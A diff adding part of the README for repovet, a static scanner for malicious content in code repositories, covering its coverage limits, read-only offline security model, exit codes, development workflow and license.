+ repovet (see `src/repovet/data/SOURCES.md`). The code and install scripts of
377
+ dependencies, known vulnerabilities and transitive dependencies are not checked;
378
+ Rust, Go, Ruby, PHP and Java dependencies are not checked at all.
379
+ - **Binary files** are recognized by their signature only: archives are not unpacked,
380
+ programs and documents are not analyzed. Content of Git submodules and Git LFS
381
+ objects is not checked; both are listed under "Not checked".
382
+ - **Obfuscation and download-and-execute** are only checked in source and script files
383
+ (not in Markdown, JSON or notebooks), not in test modules (`test_*.py`, `*.test.ts`,
384
+ `testdata/`, `fixtures/`, ...) and, for the noisier rules, not in build output
385
+ (`dist/`, `build/`, `*.min.js`, ...). Code in comment lines is ignored. Downloads
386
+ that are split over several lines or files are not recognized.
387
+ - **Auto-run surfaces that are recognized but not analyzed:** Maven, `go:generate`,
388
+ CMake, JetBrains `.idea/` settings. Others are only partly checked: GitHub Actions
389
+ workflows for `pull_request_target` checkouts and encoded commands, MSBuild files for
390
+ `Exec`, `DownloadFile` and inline tasks, Rust `build.rs` for network access, Composer
391
+ for install hooks and downloads, Gradle for external commands, downloads and the
392
+ wrapper URL, Ruby gemspecs, Rakefiles and Gemfiles for native extensions and
393
+ downloads. If present, they are listed under "Not checked".
394
+ - **URL targets:** only public repositories on `https://github.com/<owner>/<repo>`;
395
+ other hosts and SSH, `git://` or `file://` URLs are rejected. Git submodules are
396
+ listed, never fetched. The default limits are 500 MB download and 300 seconds.
397
+ - **Skipped files:** files larger than `--max-file-size` (default 2 MB), environment and
398
+ tool cache folders unless `--include-env-dirs` is given, symlinks and junctions (listed,
399
+ never followed), files that cannot be read or parsed. All of them appear under
400
+ "Not checked".
401
+ - **Line numbers** in JSON, TOML and YAML files are best effort.
402
+ - **Out of scope by design:** running, sandboxing or dynamic analysis of repository code;
403
+ known vulnerabilities (CVE) in dependencies (use pip-audit, npm audit or OSV-Scanner);
404
+ leaked secrets; antivirus signatures; a total score or a safe/unsafe verdict.
405
+
406
+ Read the "Not checked" section of every report. Gaps in coverage do not change the exit
407
+ code.
408
+
409
+ ## Security model
410
+
411
+ - **Nothing from the checked repository is executed:** no scripts, hooks, builds, package
412
+ managers or imports. Python files are only parsed with `ast.parse`; YAML is only read
413
+ with a safe loader with size and alias limits. Ruff rules (`banned-api`,
414
+ flake8-bandit) and a self-check test forbid `subprocess`, `os.system`, `eval`, `exec`,
415
+ `pickle` and similar in repovet's own code.
416
+ - **Offline analysis:** the analysis of files and history makes no network connections.
417
+ There are only two: for a URL target the HTTPS download from github.com (TLS
418
+ verified, no Git configuration, credential helpers or stored passwords are used),
419
+ and for the trust area HTTPS requests to `api.github.com` only (no other host, no
420
+ redirect elsewhere, at most 1 MiB per answer, a fixed request budget per scan).
421
+ `--offline` switches the API off; a local folder with `--offline` makes no
422
+ connection at all. The test suite blocks sockets to make sure of that; API tests use
423
+ recorded answers, and the clone tests use a local Git server on 127.0.0.1 only.
424
+ - **Read-only:** files are only opened for reading; nothing in the checked folder is
425
+ changed. Symlinks, junctions and reparse points are not followed. Inside `.git/`, only
426
+ `config`, `hooks/*` and `info/attributes` are read, as plain files.
427
+ - **No `git` binary:** repovet never calls `git`, so Git configuration in the checked
428
+ repository (for example `core.fsmonitor`, filters or pagers) can never run. GitHub
429
+ URLs are fetched with [dulwich](https://www.dulwich.io/), a pure-Python Git
430
+ implementation: only the pack file is downloaded into a fresh temporary folder (no
431
+ working tree, refs, hooks, submodules, LFS or filters), and files are read from the
432
+ Git objects in memory. Object sizes are checked before anything is unpacked, so a
433
+ small download cannot inflate into gigabytes. The folder is deleted after the scan.
434
+
435
+ Found a way to break one of these guarantees? Please report it privately, as described
436
+ in [SECURITY.md](https://github.com/m3xXmo0/repovet/blob/main/SECURITY.md).
437
+
438
+ ## Exit codes
439
+
440
+ The exit codes are a stable interface for scripts and CI:
441
+
442
+ | Code | Meaning |
443
+ |------|---------------------------------------------------------------------------------|
444
+ | 0 | No findings at or above `--fail-on` (this does not mean the repository is safe) |
445
+ | 1 | At least one finding at or above `--fail-on` |
446
+ | 2 | Usage error: invalid arguments, target not found, invalid rules file, unsupported URL |
447
+ | 3 | Analysis aborted: download failed or hit a limit, internal error, interruption |
448
+
449
+ ## Development
450
+
451
+ ```
452
+ uv sync # create .venv with the pinned dev tools
453
+ uv run pytest # all tests
454
+ uv run mypy # strict type check of src and tests
455
+ uv run ruff check # lint, including security rules
456
+ uv run ruff format --check # formatting
457
+ ```
458
+
459
+ All four must pass before a change is done. `uv run pytest -m "not slow"` skips the
460
+ performance test (10,000 generated files).
461
+
462
+ Every rule has at least one positive and one harmless test case in
463
+ `tests/rule_cases/*.yaml`; a meta test fails otherwise. Test fixtures are written to a
464
+ temporary folder only during the test, and every regular expression is tested against
465
+ pathological inputs (ReDoS).
466
+
467
+ After changing rules, regenerate the tables in
468
+ [RULES.md](https://github.com/m3xXmo0/repovet/blob/main/RULES.md) with
469
+ `uv run repovet rules list --markdown` and paste them between the `rules-table`
470
+ markers; `tests/test_readme.py` checks it.
471
+
472
+ **False-positive corpus:** `tests/corpus/corpus.yaml` lists real open-source
473
+ repositories pinned to a commit (each one can also be checked by URL, see the corpus
474
+ README). `tests/test_corpus.py` scans each and fails on high or critical findings that
475
+ are not explicitly accepted. Tests never download anything, so the test is skipped
476
+ unless `REPOVET_CORPUS_DIR` points to the extracted repositories. See
477
+ [tests/corpus/README.md](https://github.com/m3xXmo0/repovet/blob/main/tests/corpus/README.md)
478
+ for downloading and running it:
479
+
480
+ ```
481
+ # Bash
482
+ REPOVET_CORPUS_DIR=/path/to/corpus uv run pytest -m corpus
483
+
484
+ # PowerShell
485
+ $env:REPOVET_CORPUS_DIR = "C:\path\to\corpus"; uv run pytest -m corpus
486
+ ```
487
+
488
+ ## Roadmap
489
+
490
+ Changes per version are listed in
491
+ [CHANGELOG.md](https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md). Possible
492
+ next steps, without dates: Maven (`pom.xml`), Python 3.14 in CI, and an optional
493
+ online lookup of known malicious packages.
494
+
495
+ ## License
496
+
497
+ MIT, see [LICENSE](https://github.com/m3xXmo0/repovet/blob/main/LICENSE).
498
+ Copyright (c) 2026 m3xXmo0.
499
+
500
+ repovet ships two lists of package names as data (see
501
+ `src/repovet/data/SOURCES.md`): the most downloaded PyPI projects from
502
+ "top-pypi-packages" by Hugo van Kemenade (CC BY 4.0), and the most downloaded npm
503
+ packages from npm-high-impact by Titus Wormer (MIT).